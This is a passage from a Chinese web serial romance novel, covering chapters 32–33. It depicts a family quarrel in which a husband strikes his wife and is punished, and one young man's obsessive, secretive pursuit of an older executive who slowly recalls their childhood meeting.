“你胡说什么呢!”季帆嵘大步走过来揪住尹安玥的头发,“你怎么跟我妈说话的?我让你对我家人放客气点,你把我的话放哪儿了!” 尹安玥头皮剧痛,头跟着薅拽头发的力度往后仰,“季帆嵘你干什么!我是在为你说话,你怎么能这样对我,快松开!” “帆嵘,松开她,动手欺负人像什么样子!”老太太冷声训斥,看季帆嵘的眼神冷到了极致。 季帆嵘心中忐忑,把人从茶几桌里面拽出来才松手,不安道:“爸,妈,安玥前几天受刺激了,最近精神不太好,不太能记清楚事情,你们不用把她的话放心上。” “季帆嵘你个没出息的!就因为你喜欢服软,他们才会踩在你头上撒野!”尹安玥气得不轻。 季帆嵘怒视她:“你懂什……” 老爷子打断了他的话,沉声道:“你十八岁成年那天,我送了你百分之二的股份。” 尹安玥骤然静下来,下意识朝老爷子看去。 季老爷子盯着季帆嵘,眼神浑浊,“你和安玥结婚那天,我又送了你百分之三的股份。” 季帆嵘知道接下来要被公开处刑,脸色惨白难看,不死心道:“爸,你别说了。” 季老爷子闭了闭眼,叹声气:“时昱,剩下的你来说。” 季时昱神情淡漠,一副公事公办的模样,对尹安玥说:“你怀季忱那年,我这位好叔叔在外面赌博输了钱,金额巨大,他自己掏不起就动了暗地里转卖股份的心思,爷爷及时发现,收回他要转卖的百分之三的股份,仅剩百分之二留在他身上。” 尹安玥白着脸不语。 “他这么多年做过不少错事,爷爷替他处理了许多麻烦,剩余的股份一直待在他名下没有动过,看来他没打算告诉你。年前的事,我有足够的证据把他送进去待一阵子,如果不是爷爷力保下他,你以为他还能在家安稳过年吗?” 老爷子老太太这个年纪容易心软,季时昱没打算使强硬手段把季帆嵘送进去,他在一点点的预谋,等合适的时机到了再动手。 尹安玥不相信季时昱的话,转头瞪着季帆嵘等他解释。 季帆嵘心虚低头,当着二老的面不敢胡言乱语,没办法像家里那样哄骗老婆。 尹安玥跟他在一起那么多年,怎么可能不懂他这副表情,眼泪瞬间涌出来,大步走过去拽住季帆嵘的衣领,扬起巴掌就往他那张脸上扇。 “你个死人!我们都结婚多少年了,你居然瞒着我那么多事情,我这些年来为你掏心掏肺,你就这样对我!” 季帆嵘抓住尹安玥的手,“你冷静一下,别跟个疯婆子似的!” 这句话彻底点炸了尹安玥,哭着喊着不停的打骂季帆嵘。 老爷子和老太太冷眼看着他们闹,眼见着季帆嵘快要忍不住动手了,老爷子喊了几个人进来拉架。 季时昱淡定坐在那儿,心里盘算着送季帆嵘进去的时机,他没耐心慢慢来了。 楼上。 闻湫彻底待不下去,不管季忱怎么喊,他都像没听见一样往外跑。 第32章 拆穿戏码 我什么都可以演 闻湫下楼, 看到几个佣人拦着季帆嵘却不敢对季帆嵘动粗,导致季帆嵘好几次踹到了尹安玥的肚子。 老爷子拿拐杖𝔀.𝓵敲着地,怒道:“快拦住他!拦住他!” “帆嵘,快住手!”老太太急得抓起沙发上的抱枕砸过去。 尹安玥是为了替季帆嵘出气才口不择言, 她又被季帆嵘瞒了那么多事儿, 现在还要挨打, 老太太多少有点心疼她。 林管家插不了手,大步走出门,去喊保镖进来。 从始至终,季时昱坐在原位冷眼旁观。 闻湫松了口气, 快步走到季时昱身前, 单膝跪地蹲下身, 关心道:“哥哥, 他有没有对你动手?” 季时昱看到闻湫发抖的手指,说:“没对我动手, 不用担心。” 闻湫根本放不下心, 据他调查所知,在季时昱很小的时候,季帆嵘曾偷偷把人带走卖给人贩子, 关键时刻被好心人发现了不对劲,季帆嵘抱着季时昱就跑。 第一次得知那件事的晚上,闻湫一夜未眠。 更气的是, 季帆嵘把自己捏造成这件事的好人,老爷子和老太太竟然还信了。 闻湫知道季时昱专门调查过那年的事, 而闫家早给出了答案,可季老爷子就是舍不得彻底割舍,一直坚持季帆嵘在这件事中是被冤枉的。 季时昱从进入季氏那天起, 就在耐心筹谋把季帆嵘彻底踹出季家的那一天,他要收集足够的证据,让季帆嵘终身监禁在里面,死刑都便宜季帆嵘了。 远处,追着闻湫下楼的季忱看到这一幕,顿时气得脸红,飞快跑过去狠狠踹了季帆嵘一脚,“你怎么敢打我妈!” 这一下彻底把季帆嵘踹出去了。 季忱站在尹安玥面前,担忧道:“妈,你没事吧?哪里疼吗?” 看见儿子,尹安玥彻底崩不住了,抱住儿子把头埋在他怀里嚎啕大哭。 季忱难受得要死。 季帆嵘坐在地上,捂着被踹痛的腹部,咬着牙道:“你个臭小子还敢踹我!你眼里到底有没有我这个老子!” 两个佣人用力按着季帆嵘不让他起来。 场面止住了,林管家才带着保镖进来,看到没有接着打闹的夫妻俩,多少有点可惜。 闻湫不管别人怎么样,确定季时昱真的一点事都没有,心里提起的那颗石头才缓缓落下。 他下来后就焦急蹲在季时昱面前,满脸担忧的神情做不得假,季老爷子在旁边看愣了,老太太只顾着眼下的局面,没留意这一幕。 季时昱将手搭在了膝盖上,闻湫蹲在他身前,离得很近,鼻息喷在他手背上,有点痒。 他感受到闻湫肆意游走在他身上的目光,看到闻湫忍到侧颈冒出青筋,手指轻轻抬了抬,似是想要触碰他,但是忍住了。 他很肯定,若不是怕他生气,闻湫一定会握着他的手,从里到外的重新检查一遍。 “说了没事,不用担心我。”季时昱察觉到老爷子投来的眼神,拍了下闻湫的肩膀,“起来,到一旁坐着去。” 闻湫不舍起身,坐在了离他最近的位置,也就是老爷子身旁。即便这样,还是不放心地看着他,生怕在他身上看到丁点伤口。 季帆嵘还在骂,连带着尹安玥一起骂。 季老爷子被他转移了注意力,低叹一声,沉声说:“你快闭嘴吧,小忱可比你好太多了。” 季忱性格好,心思纯澈,不像季帆嵘那么虚伪自私,关键时刻知道站在哪边。 闻湫抬头看向季帆嵘,黑沉地双眸阴冷潮湿,犹如盯上猎物的蟒蛇,死死盯着地上的中年男人,仿佛将他撕咬成碎片。 屋内其他人的注意力都在季帆嵘身上,只有季时昱一个人发现了闻湫的不对劲。和平常藏匿在黑夜里的阴郁不同,此时此刻的眼神更像是在看一个将死之人。 他微微敛眸,不动声色地挪动左腿,黑亮的皮鞋脚尖轻轻踢了踢闻湫的裤腿,提醒闻湫注意点儿,别失态。 踢了两脚,正要往回收,小腿接近脚踝的那个部位,连带着西装裤骤然收紧一圈,季时昱动作微僵。 闻湫的手掌干燥温暖,宽大的手心隔着西装裤贴在季时昱小腿上,手指挪动,指尖摩挲着光滑的黑色布料,很快就松开,同时用了点力气把他的腿推开。 全程看下来就像是在防止他再踢过来,所有动作不带有任何色.情意味。 季时昱指尖微动,捏着手机屏幕若有所思,他上半身僵着没动,腿部还能感受到手掌留下来的温度。 他对上闻湫浓黑的眸子,眼底深处的贪欲和情愫,与化不开的隐忍纠缠在一起。 他若无其事地转过头,那道视线更加肆无忌惮,像是冰凉的蛇身爬过他一寸肌肤,蛇信子在上面留下阴湿的黏液。 早知如此,就不提醒闻湫了。 没有人发现他们俩的小动作,毕竟季帆嵘还在痛呼。 季老爷子让佣人把他扶了起来。 季帆嵘被季忱踹的那一脚不轻,两个人扶着他都没能起来,稍微动一下就肚子痛,他粗粗喘着气儿,不停的骂季忱是个白眼狼。 尹安玥在儿子怀里哭够了,从季忱怀里退出来,擦掉眼泪,转头对老太太说,“妈,刚才是我不对,没能搞清楚真相就跟您那样说话,我实在没想到他居然会骗我。” 说完,又趴进季忱怀里哭了。 季忱满脸忧心,轻轻拍着母亲的后背,说了几句安慰的话,又道:“大不了你们离婚,我和我姐跟着你,让他一个人孤独终老去吧。” 他并不贪恋季家的财产。 尹安玥不是普通家庭出生,季帆嵘那么虚荣的人选择她,当然是因为她出身不错。哪怕比不上季家、岳家、秦家这些豪门,但在A市里勉强能叫得上名字。 也就是尹安玥看上了季帆嵘,换成其他身份相同的人,连个眼神都不会给他。 “安玥你回家冷静一下,帆嵘……”老太太失望叹气,“林管家,安排人把他送往医院。” 季忱最见不得别人打女人,今天亲眼看到他爸打他妈,把他气得不轻,那一脚是按照踹仇人的力气踹出去的。 尹安玥点着头,强行压抑着哭腔,说不出一句话。 季忱不放心她,亲自开车带她回家。 两个保镖一前一后抬着季帆嵘上去往医院的了车。 几分钟过去,别墅里好像什么都没有发生过,只是气氛依旧压抑。 老太太气得胸口疼,颤巍巍地站起身,“我去楼上歇会儿。” 佣人赶忙跑过来扶住她。 老太太上了楼,林管家安排其他人该干什么就干什么,一时之间,一楼只剩下季时昱、闻湫还有老爷子三个人。 闻湫还在盯着季时昱看,没注意老爷子看向他的探究眼神,可能察觉到了,但他觉得这没什么。 季时昱一时无言。 客厅内安静到仅剩下浅浅的呼吸声。 老爷子咳了声,道:“小闻同学。” “嗯?“闻湫疑惑回头,“爷爷,怎么了?” “你别老盯着时昱看,你很紧张他吗?”季老爷子多少有些窘迫,他早该想到的,谁会无缘无故来朋友家过节啊,原来是抱有目的来的。 闻湫转过头,盯着季时昱没有吭声。 季时昱眼皮微抬,不动声色地看了闻湫一眼。后者眨了眨眼睛,唇角微微扬起,表示自己知道了。 “爷爷,我太紧张了,”闻湫低下头,局促不安道:“我没见过这样的场面,很害怕,只有待在昱哥旁边才没那么害怕。” 季老看闻湫这样,一晃神就被骗了过去,叹道:“你别害怕,季忱父亲就这样,他脾气暴躁,但不敢对外人动手,只会在窝里横。” 好歹养了这么多年,老爷子怎么可能不清楚季帆嵘的性子,只不过大部分时候装作没看到罢了,谁知道今天会直接动手打人。 季家向来动口不动手,不管是打男打女,老爷子都看不下去,季帆嵘犯了那么大的错,他当初也只是说教几句,停了职,这便是最重的处罚了。 若换成年轻时候的他,指定要抽出皮带狠狠教训一顿,这些年跟老太太一起学着养生,脾性佛了不少。 “小闻同学,你……”季老爷子不好开口赶人走,但今天这个节明显是过不成了。 季时昱看出老爷子的意思,说:“爷爷,您也上去休息吧。” 老爷子点点头,知道他能处理好,便拄着拐杖上楼了。 管家跟着去了医院,佣人都去了外面,客厅里就剩下季时昱和闻湫了。 “哥哥,季帆嵘这个人容易恼羞成怒,你以后要离他远一点。” 闻湫淡忘不了季时昱差点被季帆嵘卖给人贩子的事,他本意是想调查季时昱的童年,想多了解一下,没料到会看到那些。 他咬牙想着那份资料,那时候真恨不得……恨不得…… 一只手忽然落在了闻湫头上,手掌覆盖着黑色柔软的头发揉了揉,他不由愣神,神色发怔地抬起了头。 “他蹦哒不了多久。”季时昱站在闻湫面前,看着他揉乱的头发,收回了手,“我送你回去。” 闻湫彻底被安抚好了,眼底的阴郁散去,弯唇笑了,“哥哥,我们不能一起过节吗?” 季时昱摇头,“我把你送走,晚点要回来。” 这种时候总要在老宅陪着老爷子和老太太,晚上还有和岳裎他们约好的局。 闻湫在楼上听到吵架声时,就知道今天的节日过不成了,可惜叹声气,“好吧,我都听哥哥的。” 季时昱拿着车钥匙带他往外走。 开学之后,闻湫就搬回了原来的地方,闻家不会耽误他上学,把人绑回去的事再也没发生过。 路上,闻湫各种小心思不断,基本都围绕着季时昱。 季时昱把他送到地方便开车回了老宅。 老宅里的气氛异常压抑,佣人站在不起眼的角落里,不敢轻易露面,生怕自己做错事从而被迁怒。 季帆嵘每年都会闹一回,但第一次闹这么大,当着二老的面打老婆,这也是所有人没想到的。 谁都能将尹安玥对季帆嵘的付出看在眼里,季帆嵘不知感恩,把这些当作理所应当的,还私底下瞒着尹安玥许多重要的事。 季时昱今天说的那些只是一小部分,还有更多气人的事没往外说,等下次揭晓就是送季帆嵘进去的时候了。 下午一点多,林管家从医院回来了,和老爷子说了季帆嵘的情况。 腹部的伤没有大问题,只留了点淤青,季帆嵘起不来是因为闪到腰了,当时腹部太痛,他没顾得上腰,大家都以为他伤得是肚子,没想到腰也闪了。 “自作自受,你把人撤回来,谁都别管他。”老太太冷声说罢,长叹一声,“让厨房接着忙,时昱还在家呢,不能因为季帆嵘一个人就不过节了。” 林管家颔首,转身去了厨房。 季老爷子从始至终没说话,拄着拐杖坐在那里,神情严肃,“时昱,你告诉我,你是不是还掌握了很多我不知道的事。” 季时昱:“是。” 季老爷子:“你想干什么?” 季时昱:“我不会对他怎么样,这一切都交给警察和法院来处置,这不是您教我的吗?“ 季老爷子长久未说话。 “孩子,得饶人处且饶人,他即便犯下错,你也不能让他后半辈子都毁了。”老太太前一刻才被气的喘不过气,现在心软的毛病又犯了。 “奶奶,您不用劝我,这是他应得的。”季时昱不想在二老面前说太难听的话,委婉道:“季帆嵘不是懂得感恩的人,他比任何人都要自私,你们为他着想,他反而会误会你们在耽误他。” 季老爷子何尝不知道季帆嵘涉及过多少犯罪的事,但他就是想把人保下来,不让季帆嵘去公司也算是另一种变相的守护,只要季帆嵘不再接触那些事,老爷子有信心保季帆嵘一辈子,但季帆嵘不懂,他甚至认为老爷子在妨碍他。 不得不说,季时昱把季帆嵘的恶劣性格说到点上了。 老太太沉默了。 季时昱:“希望您二老永远不会忘记,我四岁那年为何会无故消失三十多个小时。” 提起这事,老爷子脸色沉下来,“都说多少次了,那次的事是闫家误会了,帆嵘是凑巧路过,拼了性命把你救下来的,你不知道他当时伤得有多重!” 季时昱:“爷爷,季帆嵘总说您偏心,我有时候非常认同他的话。” 不止是老爷子,连老太太的脸色都变得非常难看。 季时昱小时候那件事,几乎成为季家的禁忌,他们以为这么多年过去了,季任烽和闫絮都不提了,季时昱肯定已经放下了,没想到他一直记在心里。 这个节过得什么也不是,二老吃过午饭便回屋歇着了,让季时昱该忙就忙,不用留在这里陪他们。 这是要赶人走了。 季时昱第一次听到老爷子对他说这种话,心里没多难受,点了点头,拿着车钥匙就走了。 林管家跟在他身后,温声道:“大少爷,您别把老爷子的话放心上,他和老太太如今最在意的人就是您了。” “我知道。”季时昱语气冷淡。 他趁着今天将事情坦白说出来,也是为了让二老有个心理准备。 “您心里清楚就好,他们不是糊涂人,就是太心软了,给他们时间冷静几天就没事儿了。”林管家生怕季时昱和二老有嫌隙,跟了他一路,不停的说好话。 季时昱打开车门,“林叔,你去忙吧,等我奶奶冷静了,您再联系我。” 林管家连忙应了两声。 季时昱开车离开。 因为上午的事,他胃口全无,在老宅那顿饭没吃好,回去后在书房待了一下午,临近傍晚给岳裎发消息,说他晚上有事不去了。 岳裎明白他忙,没问他怎么回事儿。 周末,季时昱在家歇了一整天。 次日早上,他去了公司。 下午下班之前,闻湫找来了。 关秘书询问过季时昱的意见,才让闻湫进办公室。 闻湫昨天给季时昱打过电话,没有人接,他今天干脆找上门来了。 他进来就惨兮兮道:“哥哥,我买的新手机还没用一个月就丢了,上午用最后的存款买了个千元机。” 【只有成为哥哥的助理,才能一直盯着他。】 季时昱听到了他的目的,安静看着他演。 闻湫叹道:“我去找兼职了,可惜我太笨了,又有点社恐,面对生人不爱说话,好多老板不招我,说我的社交能力不适合在他们那里工作。” 季时昱没看出闻湫哪儿社恐了,那分明是懒得搭理别人。 【我都这样了,哥哥一定会收留我的吧。】 “哥哥,我没课的时候可以来你身边兼职吗?”闻湫揉了下看不见泪的眼睛,“我知道这样会麻烦你,但我会努力不耽误进度的,而且我还可以帮你做饭,我……” 季时昱:“你上个手机是怎么买的?” 闻湫谎都撒出去了,哪能说备用机,好在他早有说辞,“那是我朋友欠我的钱,我找他要回来了。” 季时昱:“如果你很缺钱,我可以借你。” 闻湫:“……借钱不好,万一我还不上怎么办。” 季时昱不按他的套路走,说:“还不上就不用还了,就当是资助学生。” “哥哥,你……”闻湫突然没话说了。 【哥哥怎么这样啊。】 季时昱难得把闻湫噎得说不出话,忍俊不禁弯起了唇。 闻湫没发现他笑了,只在心里郁闷。 【哥哥说得那么自然,他资助过很多人吗?】 或许是觉得这个问题没什么,闻湫直接问了出来,“哥哥,你经常资助别人吗?” 季时昱嘴角收敛,道:“季家资助过很多学生,都不求回报,你不用担心钱的事。” “哦。”闻湫过了会儿,小声说:“可我不想成为被你资助的对象。” 季时昱:“为什么?” “哥哥,”闻湫多了几分抱怨,“我在追你啊。” 【这样的身份不仅不对等,还没办法随时守着他。助理多好啊,虽然身份还是不对等,好歹能经常待在哥哥身边,防止其他人接近哥哥。】 【解决了一个吴年,还会有下一个吴年,我怎么可能放得下心啊。】 季时昱想起上次找他告状的吴小少爷,眉心微拧,他不关心圈里的事,不知道闻湫做了什么。 不等他问出口,闻湫自己给了答案。 【希望吴家识趣点,在吴年结婚之前都别让他回来了,省得再跑出来说我坏话。】 季时昱眼底划过了然,猜到闻湫应该是用了点方法,让吴家把吴年送出国了。 他放下手里的笔,说:“你好好上学,不想资助就不用资助的名义。” “那以什么名义?”闻湫低声问。 【如果是以男朋友的名义,那我可以接受。】 季时昱:“……你喊我一声哥,我花钱供你上学很正常。” 闻湫不满意听到的回答,“哥哥,我不会耽误学业的,你就让我留在你身边兼职吧,而且我和关秘书在工作上已经很熟悉了,我们交接工作也顺利。” 季时昱嗓音冷淡:“你再不听话,我就不管你了。” 闻湫闭上嘴巴,不再吭声了。 【好坏啊,怎么能这样说。】 【我只是想离哥哥近一点,再这样没有进展,万一哪天真冒出个人把他抢走了怎么办。】 【难道我真不是他喜欢的类型?】 【我什么都可以演,可他到底喜欢什么样的类型啊。】 季时昱能看出,现在的闻湫太焦虑了,有时候真想劝他别想那么多。 寒假给闻湫一个兼职实习的资格已经是破例,开学了还这么干,肯定会引起多数人不满,那样的工作环境对员工和公司都不好。 现在是下班时间,季时昱要回去了,他提议先送闻湫回去,后者点点脑袋,万分苦恼地和他一起上了车。 他们在路上没有说话,闻湫也没有停止内心的焦虑。 季时昱将闻湫送到楼下,按了下车里的门锁按钮,“到了。” 闻湫磨磨叽叽地按开了安全带,频繁的焦虑让他眼里多了分肉眼可见的忧愁,眉头皱着,心里还在想怎么才能够离季时昱近一点。 季时昱偏头看向他,在他要下去之前说:“闻湫,我允许你追求我,但你要用对方法,只耍些小心思是没用的。” 闻湫低头沉思了一会儿,声音沙哑:“我邀请你去看电影,你会去吗?” 季时昱摇头:”不会。” 闻湫:“我邀请你吃烛光晚餐,你会去吗?” 季时昱:“……不会。” 闻湫:“那如果,我邀请你出门玩呢,我们去游乐园,去海边、去蹦极、去爬山,你会和我一起吗?” 季时昱:“……” 闻湫苦笑道:“哥哥,你每天都在工作,除了偶尔答应我表哥出门一聚,其他时候根本就不会有时间,我唯一能接近你的渠道只有成为你的助理。” 季时昱第一次发现自己这么忙,沉默的很彻底。 “你不喜欢别人离你太近,不喜欢我经常出现在你视线里,所有能够追求的办法都被你杜绝了,我还能怎么样?”闻湫红了眼睛,哽咽道:“你给我追你的机会了,同时也把追到你的可能降到了最低。” 闻湫努力制造仅有的、能够接近季时昱的机会,但那样的场面太微乎其微了。 季时昱忙工作,他自己要忙学业,他们这个月见面的次数特别少。这样漫长而毫无可能的追人方式,时刻折磨着闻湫的心态。 他很焦虑,他有时候想要做一些偏激出格的行动,每想到季时昱喜欢乖一点的人,他就强行忍耐着自己的想法,去找一个尽可能不让季时昱讨厌的方法。 车门早开了,季时昱听不到闻湫的真实想法,偏头对上那双泛红含泪地眼睛。 “闻湫,我把你当弟弟来看待。” 这是他第一次如此正式的跟闻湫说这些。 闻湫笑了下,艰涩道:“你不用提醒我。” 季时昱垂目,淡声说:“我知道你有钱,不用在我面前装没钱的戏码。” 闻湫睫毛颤了颤,沉默不语。 “你很聪明,脑子转得很快,”季时昱叹道:“寒假之前,我同样每天待在公司,你经常会出现在我面前,不管是巧合还是你故意为之,但你屡次出现的确分走了我一部分注意力。” 闻湫瞳孔逐渐扩大,几乎是一瞬间,眼中的痛苦尽数退散,留下仅有的、被拆穿后的亢奋,刺激遍及所有感官,眼神如剧烈燃烧的火焰。 季时昱忽视他炙热的视线,找了个能够暂时安抚他的说法,“我不需要一个大学生来当作助理,让我看看,你还有什么能够使我频繁注意你的办法,好吗?” 第33章 他在追我 呜…我好可怜…… 闻湫忍着内心的汹涌, 手指激动到发抖,声音带着明显的颤,“要是有一天,我做了不对的事, 你会远离我吗?” 季时昱单手握着方向盘, 手指在上面轻轻敲打着, 冷声说:“当然会。” 闻湫低头笑了声,“我知道了。” 季时昱:“回去吧。” 闻湫嗯了声,这次倒是没意见了。 砰的一声,车门关上。 闻湫没有回头, 手指插在风衣兜里, 微风掀起衣角, 修长挺拔的背影异常吸睛。 第二天上午。 季时昱和往常一样坐在椅子上, 听着关秘书和安秘书相继汇报工作,后者汇报完离开了办公室。 关秘书把需要签字的文件递过去, 说:“您下周要去G市的票已经订好了, 时间是下午三点半。” 他接过签下字,点了点头。 下午,季忱来了。 在季忱进来之前, 季时昱看到了闻湫打来的电话,他挂断,那边又打来, 只好接听,说:“我这边有事, 待会儿再说。” 闻湫:“哥哥,别挂断,我想听你说话。” 季时昱:“没什么好听的。” “我昨晚到现在都没有合眼, 我真的忍不住了,特别想听到你的声音,我绝对不出声打扰你,你别挂好不好。”闻湫哀声恳求。 季时昱冷声拒绝:“不行。” “我的黑眼圈好重,脸色也好差,我快困死了就是睡不着,”闻湫咳了两声,“我好想睡觉,但是怎么都睡不着,只有听到你的声音才安心。” 季时昱无动于衷,“吃安眠药。” “我对一切含有安眠成分的药物过敏,吃了会喘不上来气的,呜…我好可怜……我只是想睡觉而已,为什么这么难。” 隔着手机,季时昱能想象到闻湫此刻会做出什么表情,他闭了闭眼,说:“没有下次。” 他也不明白为什么会答应这种无理的要求,手机放到一旁,拿了份文件盖住了通话显示。 下一刻,有人推门进来了。 “哥。”季忱小心关上门,“我妈让我来跟你道歉。” “我没放在心上,你让她别多想。”季时昱抬起头,对着沙发昂首示意,“随便坐。” 季忱坐在沙发上,低着头,完全没有往日的活泼,“我前天晚上和我姐说了那天的事,我姐打算回来一趟。” 季时昱没出声,操纵鼠标打开电脑里的文档。 “我姐说,有份文件想送给你,她不放心其他人转交,非要亲自给你送过来。”季忱叹声气,“我爸昨晚出院找我妈道歉,我妈收拾东西出去住了,我爸这次是真把她伤到了。” 季时昱对他们家的事没兴趣,但也没打扰季忱找他倾诉。 安静了一会儿,季忱问:“哥,如果我爸妈离婚了,你说我要跟着谁?” 季忱身为成年人,在法律上跟着谁并不重要。 季时昱松开鼠标,向后靠着椅子,一语道破他的想法:“你想跟着你妈回尹家,又怕以后跟爷爷奶奶生疏了。” 季忱点点头,“我妈性子软,这些年一直就被我爸掌控着,她好不容易有了离婚的想法,我不会劝她,可我更不能抛下她,她会受不了的。” 季时昱:“按你自己的想法来,爷爷奶奶对你的好又不是因为你爸。” “嗯,我知道了,谢谢哥,那我先走了。”季忱站起身,走到门口想起件事,转过身走到了办公桌前,低声问:“哥,你和闻湫是怎么回事儿?” 他昨天没错过闻湫对季时昱的关心,当时容不得他多想,这两天晚上辗转反侧睡不着,回忆起了闻湫的紧张。 从楼下开始吵架,闻湫就问他会不会波及到他哥,他当时没想那么多,后来想想太不对劲了。 闻湫是他的朋友,遇到这种事不应该先关心他吗?尤其是下楼后,谁都不看只守着他哥,生怕他哥受丁点气。 “他暑假想来我这里兼职,跟上司搞好关系不是应该的吗。”季时昱面不改色道。 季忱面露疑惑:“……是这样吗?” 季时昱:“不然呢,你还指望我和他之间有关系?” “那倒不是,我就是觉得,”季忱迟疑一阵儿,轻咳一声,“哥,你别嫌弃说话难听,你条件是很好,长得比明星都要帅,但是吧……” 季时昱:“但是什么?” 季忱:“但是你和闻湫的年龄差太多了,六岁啊,反正我是不可能找一个比我大六岁的人。” 季时昱第一次被人说年龄的事,抿了下唇,道:“季忱,我才25,你说话注意点儿。” “哥,我还有两个月才20岁。”季忱笑嘻嘻说完,强调道:“我没有说你老的意思,大家不都说三岁一个代沟,你和闻湫差了六岁,代沟可不小啊,你每天跟个大忙人一样,肯定没有我们大学生的网速快,我这不是怕你和他有交流障碍嘛。” 季时昱看了眼被文件盖着的手机,没生气,神情不明地问:“你觉得我看上闻湫了?” “……也不是,我就是提醒你一下,我觉得闻湫长在你审美上,怕你对他动歪心思。”季忱声音越来越小。 季时昱冷声道:“这个月缺钱了别找我。” “我错了,不敢了。”季忱飞速滑跪,心情好了不少,笑道:“我走了,我们就当没聊过这事儿。” 等办公室的门再次关上,季时昱拿开了压着手机的文件,没急着说话。 过了一会儿,话筒里传来了很小的声音。 “他走了吗?” 季时昱打开免提,“走了。” 刚才的通话没有开免提,闻湫听不到季忱前面说了什么,后面的话或许是因为季忱离得近了,他听得很清楚。 这不,刚得知人走了,立即开始表真心。 “哥哥,你不要听季忱胡说八道,我们差得不多,六岁是我最钟意的年龄差,更何况爱情不分年龄段。”闻湫当时真想出声打断季忱,怕季时昱生气,硬生生忍了下来。 “他说得不全错,六岁之差,能聊到一起的话题太少了。”季时昱不否认季忱的话。 闻湫着急道:“什么啊,他自己没谈过恋爱,怎么好意思管别人的恋爱怎么谈,哥哥你别被他洗脑了。” 季时昱无声轻笑,没有泄露任何情绪,提醒他一个事实,“闻湫,我们没有在谈恋爱。季忱怕我看上你,然而事实却恰恰相反。” 闻湫默了好一阵子,说:“季忱说,我长在你的审美上,这是真的吗?” 季时昱:“假的。” “假的也没事,”闻湫自我催眠一般,将心里话说了出来:“我很乖,很听你的话,我会学着如何讨你欢心,你不要躲着我就好。” 季时昱:“没躲着你。” 闻湫:“那你这周末有时间嘛?” 季时昱:“……你想约我出去。” 不是疑问,而是肯定。 “我一直都想约你出门,说实话,我来A市那么久了,还有很多好玩的地方和景区没有去过,我想和你一起去。”闻湫大大方方道:“哥哥,你不答应我,我就会和之前一样,主动出现在你面前,哪怕在你工作的时候也会缠着你不放。” “哥哥,给我个机会吧。” 季时昱再不答应他,他就快忍不住彻底暴露自己的本性了,这段时间忍得无比煎熬,不确定还能坚持到什么时候。 季时昱和闻湫相处这么久,怎么可能不明白闻湫的真实性子。他叹口气,手肘抵着桌面,抬手摘下眼镜,按了按被眼镜压得有些痛的鼻骨,问:“几点?” “早上九点半,可以嘛?”闻湫声音含笑。 季时昱轻嗯一声,“到时候给你个地址,你开车接我。” “哥哥,你真好。” “有个前提。” “你说。” “以后不准在我看不到的角落里偷看我。” 季时昱发现很多次了,但他没有说出来,昨天坦白说了那些话,不差今天这一句了。 电话里,闻湫愉悦笑了两声,“哥哥好敏锐啊,我都藏这么隐蔽了,居然还能被你发现。” 就闻湫那独一份炙热贪婪的视线,季时昱想不到第二个人,每次感受到不对,他就知道闻湫在附近偷看他。 闻湫接着道:“我很听话的,自从你说过不喜欢我突然出现在你面前,我就在克制自己了。” 季时昱拆穿他:“你只克制了几天而已。” “哪有啊,只要哥哥不躲着我,我可以一直控制。” 这是挂电话前,闻湫说的最后一句话。 季时昱放下手机,向后靠着椅子,不知道该不该给闻湫这个机会。 他对闻湫没有起歪心思,目前的情况不可能走回原剧情,但闻湫对他的执着超乎了他的想象。 一瞬间,小时候去S市的事情又灌进脑中。 季时昱给闫絮发了条消息。 【妈,我十一岁那年去S市找你那么多次,有没有哪次送一个孩子去过公安局?】 去公安局肯定会印象深刻,可是他毫无印象,这其中肯定有他不知道的事。 他不清楚爸妈在哪个国家旅游,现在这个时间点大概率在休息,便没急着等消息。 晚上。 季时昱睡觉前得到了答复,闫絮打来了视频电话,他没开镜头,拿着手机看闫絮给他照得雪山,从这个位置和高度来看,闫絮应该在酒店。 “十几年前的事了,你怎么问这个?”闫絮问。 季时昱坐起来,靠着床头,“前几天和朋友讨论S市的事,突然想到那段时间经常去S市找你。” 闫絮笑了声,说:“你没去过公安局,倒是有一天带回来了一个孩子,不认识人家就带回来了,给我吓了一跳,我拜托你刘叔叔把人带到公安局了。” 季时昱眼眸微闪,“是那位刘局长?” “对,是他,想当年他还是个副队,如今都升成局长了。”闫絮感叹道。 季时昱顿时毫无困意,“我那年带回去的孩子长什么样?多大了?” 闫絮:“看着四五岁了,我没照片,你刘叔叔倒是给你们拍了张合照,过去这么久了,可能已经找不到了,我过会儿帮你问问。” 季时昱应了声,“妈,我记不太清这件事了,那阵子有发生什么令你记忆深刻的事吗?” “还真有呢,”闫絮蓦地冷笑道:“你刘叔叔把那孩子接走后,你就回家了,你爸为了把我骗回去,第二天故意说你生了重病,吓得我立马回了A市,那次可让他得逞了。” 话音落地,手机里传来季任烽无奈狡辩的说辞:“我那时候实在没办法了,我去找你,你每次都把我关在门外,我再见不到你就要疯了。” 手机那头的夫妻俩说个不停,季时昱却无心听他们说了什么,满脑子都是那年的事。 他清楚记得闫絮回来的那天,记忆涌进脑中,连带着前一天的事都有了模糊的印象。有了这个开头,那天的事像是擦掉雾气的玻璃,一点点变得清晰起来。 他记得当时和闫絮住的楼区附近有所幼儿园,十一岁的他想去幼儿园对面的公园里玩秋千,在那里看到个被几个孩子围着的小男孩。 忘记是发生矛盾还是怎么了,只记得小男孩哭了,其他小孩笑得一声比一声大,他身为大孩子过去阻止这种场面,其他小孩看到一脸严肃的他,全吓跑了。 他本意是想走的,哭得双眼通红的小男孩拽住了他,问能不能和他回家。 季时昱隐约记得自己说了家在A市的话,然后带小男孩去了闫絮那里。 闫絮吓了一跳,问他话,他也说不清楚,闫絮就打电话联系了自己的警察朋友。 十一岁的季时昱和小男孩玩到下午,身为警察的刘叔叔过来带走了小男孩,之后就是季时昱跟着林管家派来的人坐飞机回了A市,再之后便是闫絮被骗回家了。 季时昱缓缓吐出一口气,低头发现手机里的视频通话早挂断了,聊天框里多了张非常老旧的照片,他点开照片,视线微凝。 他回想了快十分钟,只记得大概事件,记不清小男孩的脸。 有了这张照片,记忆更加清晰,照片里的男孩和现在的闻湫几乎是一个模子里刻出来的,神韵五官没有太大改变,哭起来还是那副让人心疼的模样,不然小时候的他不会把人带回闫絮那里。 闫絮没见过闻湫,自然不可能认出闻湫是那个孩子。 这就能对得上了。 季时昱从来就不认为闻湫只凭着原书里的剧情,就对他有那么深的执念。回想起闻湫之前的反应,一定对小时候这件事记忆深刻。 他模糊记得一段对话,小时后的闻湫告诉他,“我以后去A市找你好不好?” 他说:“A市很大,你找不到我。” 闻湫没有再吭声,摆弄着奥特曼模型发起呆来。 